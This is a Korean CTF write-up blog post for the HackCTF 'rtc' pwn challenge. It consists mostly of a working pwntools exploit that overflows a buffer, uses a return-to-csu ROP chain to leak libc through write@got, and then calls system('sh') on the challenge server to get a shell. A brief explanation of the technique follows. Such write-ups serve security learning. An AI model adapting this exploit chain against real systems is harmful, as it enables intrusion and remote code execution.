from pwn import *
#p = process('./rtc')
p = remote('ctf.j0n9hyun.xyz', 3025)
e = ELF('./rtc')
l = e.libc
context.log_level = "debug"
main = 0x00000000004005F6
csu_p_rbx = 0x00000000004006ba
csu_fun = 0x00000000004006A0
stdin = 0x0000000000601050
p_r = 0x00000000004006c3
def fun(f, arg1, arg2, arg3):
pay = p64(csu_p_rbx)
pay += p64(0)
pay += p64(1)
pay += p64(f)
pay += p64(arg3)
pay += p64(arg2)
pay += p64(arg1)
pay += p64(csu_fun)
pay += p64(0) * 7
return pay
pause()
payload = 'a' * 0x40 + 'b' * 8
payload += fun(e.got['write'], 1, e.got['write'],6)
payload += p64(main)
p.sendline(payload)
p.recvuntil('\x0a')
libc = u64(p.recv(6).ljust(8,'\x00')) - l.sym['write']
log.info('libc : ' + hex(libc))
payload = 'a' * 0x40 + 'b' * 8
payload += p64(p_r)
payload += p64(libc + next(l.search('sh\x00')))
payload += p64(libc + l.sym['system'])
p.sendline(payload)
p.interactive()
이 문제는 return to csu를 활용해서 하는 문제다
이 함수를 이용해서 write함수로 write@got를 출력해서 libc 릭을 해서 익스를 하면 된다. fd에 1을 넣어서 write를 실행시킬 수 있다는 것을 설마하는 생각에 시도를 안해서 오래 걸렸다.ㅠㅠㅠ
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]World_best_encryption_tool (0) | 2019.07.22 |
---|---|
[hackctf]register (0) | 2019.07.21 |
[hackctf]pwning (0) | 2019.07.18 |
[hackctf]Gift (0) | 2019.07.18 |
[hackctf]look_at_me (0) | 2019.07.18 |